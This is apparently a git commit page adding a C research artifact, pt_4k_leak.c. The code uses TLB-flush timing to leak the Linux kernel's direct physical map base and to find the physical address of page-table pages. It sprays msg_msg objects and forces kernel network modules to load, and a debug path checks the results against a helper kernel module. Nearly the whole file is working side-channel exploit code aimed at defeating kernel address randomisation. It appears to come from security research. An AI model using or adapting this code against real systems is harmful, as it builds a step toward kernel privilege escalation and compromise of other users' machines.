added artifacts
This commit is contained in:
parent
cb794602ee
commit
cf2057109f
35 changed files with 6394 additions and 0 deletions
262
artifacts/page-table/pt_4k_leak.c
Normal file
262
artifacts/page-table/pt_4k_leak.c
Normal file
|
@ -0,0 +1,262 @@
|
|||
#include "utils.h"
|
||||
#include "cacheutils.h"
|
||||
#include "tlb_flush.h"
|
||||
#include "coarse_grain_leak.h"
|
||||
#define DEBUG
|
||||
#ifdef DEBUG
|
||||
#include "ulkm.h"
|
||||
#endif
|
||||
#include "msg_msg.h"
|
||||
#include <sys/socket.h>
|
||||
#include <sys/mman.h>
|
||||
#define IPPROTO_DCCP 33
|
||||
#define IPPROTO_SCTP 132
|
||||
#define IPPROTO_L2TP 115
|
||||
#define CAN_RAW 1
|
||||
#define CAN_BCM 2
|
||||
#define CAN_ISOTP 6
|
||||
|
||||
#define HIST_SIZE 60
|
||||
#define TRIES 40
|
||||
|
||||
#define PAGE_SPRAY (30)
|
||||
#define PAGE_OTHER_SPRAY (10)
|
||||
#define PAGE_SIZE (1<<12)
|
||||
#define PMD_SIZE (1<<21)
|
||||
|
||||
#define MSG_SIZE (256 - 48)
|
||||
#define MSG_SPRAYS (1<<8)*32
|
||||
#define MSG_TYPE 0x41
|
||||
|
||||
#define IS_HIT(t, tn2, tn4, tn8) (((tn2) - (t)) >= (THRESHOLD2-THRESHOLD+2) || ((tn4) - (t)) >= (THRESHOLD2-THRESHOLD+2) || ((tn8) - (t) >= (THRESHOLD2-THRESHOLD+2)))
|
||||
|
||||
int qids[MSG_SPRAYS];
|
||||
|
||||
void __hit_flush(void *uaddr, size_t addr, size_t tries, size_t *time, size_t *time_n, size_t *time_n4, size_t *time_n8, size_t print)
|
||||
{
|
||||
size_t t;
|
||||
size_t times[tries];
|
||||
size_t hist[HIST_SIZE] = {0};
|
||||
size_t times_n[tries];
|
||||
size_t hist_n[HIST_SIZE] = {0};
|
||||
size_t times_n4[tries];
|
||||
size_t hist_n4[HIST_SIZE] = {0};
|
||||
size_t times_n8[tries];
|
||||
size_t hist_n8[HIST_SIZE] = {0};
|
||||
/* leaking */
|
||||
for (size_t i = 0; i < tries; ++i) {
|
||||
flush_tlb_targeted_4k(addr);
|
||||
flush_tlb_targeted_4k(addr+PAGE_SIZE);
|
||||
flush_tlb_targeted_4k(addr+PAGE_SIZE*4);
|
||||
flush_tlb_targeted_4k(addr+PAGE_SIZE*8);
|
||||
if (i % 2 == 0)
|
||||
mprotect(uaddr, PAGE_SIZE, PROT_READ);
|
||||
else
|
||||
mprotect(uaddr, PAGE_SIZE, PROT_WRITE);
|
||||
t = onlyreload(addr);
|
||||
hist[MIN(t,HIST_SIZE-2)]++;
|
||||
times[i] = t;
|
||||
|
||||
t = onlyreload(addr+PAGE_SIZE);
|
||||
times_n[i] = t;
|
||||
hist_n[MIN(t,HIST_SIZE-2)]++;
|
||||
|
||||
t = onlyreload(addr+PAGE_SIZE*4);
|
||||
times_n4[i] = t;
|
||||
hist_n4[MIN(t,HIST_SIZE-2)]++;
|
||||
|
||||
t = onlyreload(addr+PAGE_SIZE*8);
|
||||
times_n8[i] = t;
|
||||
hist_n8[MIN(t,HIST_SIZE-2)]++;
|
||||
}
|
||||
qsort(times, tries, sizeof(size_t), comp);
|
||||
qsort(times_n, tries, sizeof(size_t), comp);
|
||||
qsort(times_n4, tries, sizeof(size_t), comp);
|
||||
qsort(times_n8, tries, sizeof(size_t), comp);
|
||||
for (size_t i = 20; i < HIST_SIZE && print; i += 2)
|
||||
printf("% 4zd:\t %3zd %3zd %3zd %3zd\n", i, hist[i], hist_n[i], hist_n4[i], hist_n8[i]);
|
||||
*time = times[tries/8];
|
||||
*time_n = times_n[tries/8];
|
||||
*time_n4 = times_n4[tries/8];
|
||||
*time_n8 = times_n8[tries/8];
|
||||
}
|
||||
void hit_flush(void *uaddr, size_t addr, size_t tries, size_t *time, size_t *time_n, size_t *time_n4, size_t *time_n8)
|
||||
{
|
||||
__hit_flush(uaddr, addr, tries, time, time_n, time_n4, time_n8, 0);
|
||||
}
|
||||
void hit_flush_print(void *uaddr, size_t addr, size_t tries, size_t *time, size_t *time_n, size_t *time_n4, size_t *time_n8)
|
||||
{
|
||||
__hit_flush(uaddr, addr, tries, time, time_n, time_n4, time_n8, 1);
|
||||
}
|
||||
|
||||
int main(void)
|
||||
{
|
||||
printf("[*] start\n");
|
||||
set_limit();
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
setvbuf(stdin, NULL, _IONBF, 0);
|
||||
setvbuf(stderr, NULL, _IONBF, 0);
|
||||
pin_to_core(0);
|
||||
|
||||
init_tlb_flush();
|
||||
get_total_memory();
|
||||
|
||||
static char buffer[0x1000] = {0};
|
||||
msg *message = (msg *)buffer;
|
||||
message->mtype = MSG_TYPE;
|
||||
|
||||
printf("[*] make queues\n");
|
||||
for (size_t i = 0; i < MSG_SPRAYS; ++i)
|
||||
qids[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
|
||||
|
||||
printf("[*] warmup and other alloc msg_msg structs\n");
|
||||
for (size_t i = 0; i < MSG_SPRAYS; ++i)
|
||||
send_msg(qids[i], message, MSG_SIZE, 0);
|
||||
|
||||
printf("[*] reserve mmappings\n");
|
||||
void *addresses[PAGE_SPRAY];
|
||||
for (size_t i = 0; i < PAGE_SPRAY; ++i) {
|
||||
void *addr = (void *)((0x6dULL<<21) + (1ULL<<12)*i);
|
||||
addresses[i] = mmap(addr, PAGE_SIZE, PROT_WRITE|PROT_READ, MAP_FIXED|MAP_ANON|MAP_PRIVATE, -1, 0);
|
||||
// printf("[*] addresses[%ld] %0zx (%016zx)\n", i, (size_t)addresses[i], (size_t)addr);
|
||||
if (addresses[i] == MAP_FAILED) {
|
||||
perror("mmap()");
|
||||
exit(-1);
|
||||
}
|
||||
}
|
||||
void *other_addresses[PAGE_OTHER_SPRAY];
|
||||
for (size_t i = 0; i < PAGE_OTHER_SPRAY; ++i) {
|
||||
void *addr = (void *)((0x6fULL<<21) + (1ULL<<12)*i);
|
||||
other_addresses[i] = mmap(addr, PAGE_SIZE, PROT_WRITE|PROT_READ, MAP_FIXED|MAP_ANON|MAP_PRIVATE, -1, 0);
|
||||
// printf("[*] other_addresses[%ld] %0zx (%016zx)\n", i, (size_t)other_addresses[i], (size_t)addr);
|
||||
if (other_addresses[i] == MAP_FAILED) {
|
||||
perror("mmap()");
|
||||
exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
printf("[*] load 1st half of kernel modules\n");
|
||||
int sock_fd;
|
||||
sock_fd = socket(AF_INET, SOCK_DCCP, IPPROTO_DCCP);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(AF_INET, SOCK_DCCP, IPPROTO_DCCP)");
|
||||
exit(-1);
|
||||
}
|
||||
sock_fd = socket(SOCK_DGRAM, CAN_BCM, 0);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(SOCK_DGRAM, CAN_BCM, 0)");
|
||||
exit(-1);
|
||||
}
|
||||
sock_fd = socket(AF_VSOCK, SOCK_STREAM, 0);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(AF_VSOCK, SOCK_STREAM, 0)");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
/* hopefully allocate PUD of 4k mapping */
|
||||
for (size_t i = 0; i < PAGE_SPRAY; ++i)
|
||||
*(volatile size_t *)addresses[i];
|
||||
for (size_t i = 0; i < PAGE_OTHER_SPRAY; ++i)
|
||||
*(volatile size_t *)other_addresses[i];
|
||||
|
||||
printf("[*] load 2nd half of kernel modules\n");
|
||||
sock_fd = socket(AF_CAN, SOCK_DGRAM, CAN_ISOTP);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(AF_CAN, SOCK_DGRAM, CAN_ISOTP");
|
||||
exit(-1);
|
||||
}
|
||||
sock_fd = socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP)");
|
||||
exit(-1);
|
||||
}
|
||||
sock_fd = socket(PF_INET, SOCK_DGRAM, IPPROTO_L2TP);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(PF_INET, SOCK_STREAM, IPPROTO_L2TP)");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
size_t time;
|
||||
size_t time_n;
|
||||
size_t time_n4;
|
||||
size_t time_n8;
|
||||
size_t dpm_base = dpm_leak(TRIES);
|
||||
printf("[*] dpm_base: %016zx\n", dpm_base);
|
||||
|
||||
#ifdef DEBUG
|
||||
lkm_init();
|
||||
size_t real_dpm_base;
|
||||
lkm_dpm_leak((size_t)&real_dpm_base);
|
||||
if (real_dpm_base != dpm_base) {
|
||||
printf("[!] wrong dpm base %016zx != %016zx\n", real_dpm_base, dpm_base);
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
size_t success = 0;
|
||||
size_t cnt = 0;
|
||||
|
||||
size_t pgde;
|
||||
size_t pude;
|
||||
size_t pmde;
|
||||
size_t pte;
|
||||
lkm_arb_pagetable_wald((size_t)addresses[0], &pgde, &pude, &pmde, &pte);
|
||||
size_t pud = dpm_base + (pgde & ~(0xfff));
|
||||
size_t pmd = dpm_base + (pude & ~(0xfff));
|
||||
size_t pt = dpm_base + (pmde & ~(0xfff));
|
||||
printf("[*] %010zx %010zx %010zx\n", pud, pmd, pt);
|
||||
size_t is_4kb = lkm_is_4kb(pmd);
|
||||
printf("[*] %016zx is %s page\n", pt, is_4kb ? "4kB" : "2MB");
|
||||
hit_flush_print(addresses[0], pt, TRIES*10, &time, &time_n, &time_n4, &time_n8);
|
||||
#endif
|
||||
|
||||
for (size_t addr = dpm_base+(1ULL<<30); addr < dpm_base+mem_total_rounded; addr += PMD_SIZE) {
|
||||
if ((addr % (1 << 30)) == 0)
|
||||
printf("[*] addr %016zx\n", addr);
|
||||
hit_flush(addresses[0], addr, TRIES/4, &time, &time_n, &time_n4, &time_n8);
|
||||
if (time < THRESHOLD && time_n < THRESHOLD && time_n4 < THRESHOLD && time_n8 < THRESHOLD)
|
||||
continue;
|
||||
for (size_t addr4k = addr; addr4k < addr + PMD_SIZE; addr4k += PAGE_SIZE) {
|
||||
hit_flush(addresses[0], addr4k, TRIES, &time, &time_n, &time_n4, &time_n8);
|
||||
size_t found = IS_HIT(time, time_n, time_n4, time_n8);
|
||||
if (found) {
|
||||
for (size_t i = 1; i < PAGE_SPRAY && found == 1; ++i) {
|
||||
hit_flush(addresses[i], addr4k, TRIES, &time, &time_n, &time_n4, &time_n8);
|
||||
found = IS_HIT(time, time_n, time_n4, time_n8);
|
||||
}
|
||||
for (size_t i = 1; i < PAGE_OTHER_SPRAY && found == 1; ++i) {
|
||||
hit_flush(other_addresses[i], addr4k, TRIES, &time, &time_n, &time_n4, &time_n8);
|
||||
found = !IS_HIT(time, time_n, time_n4, time_n8);
|
||||
}
|
||||
}
|
||||
if (found) {
|
||||
#ifdef DEBUG
|
||||
cnt++;
|
||||
success |= (addr4k == pt);
|
||||
#endif
|
||||
printf("[+] found addr %016zx\n", addr4k);
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
printf("[*] cleanup\n");
|
||||
for (size_t i = 0; i < MSG_SPRAYS; ++i)
|
||||
cleanup_queue(qids[i]);
|
||||
#ifdef DEBUG
|
||||
if (success == 1 && cnt == 1)
|
||||
printf("[+] success\n");
|
||||
else if (!is_4kb)
|
||||
printf("[!] 2MB page\n");
|
||||
else if (success == 1 && cnt > 1)
|
||||
printf("[!] multiple addresses -> retry\n");
|
||||
else if (cnt == 0)
|
||||
printf("[!] not found\n");
|
||||
else if (cnt == 1)
|
||||
printf("[!] fail with one address\n");
|
||||
else
|
||||
printf("[!] fail with multiple addresses\n");
|
||||
#else
|
||||
printf("[*] done\n");
|
||||
#endif
|
||||
return 0;
|
||||
}
|
Loading…
Add table
Add a link
Reference in a new issue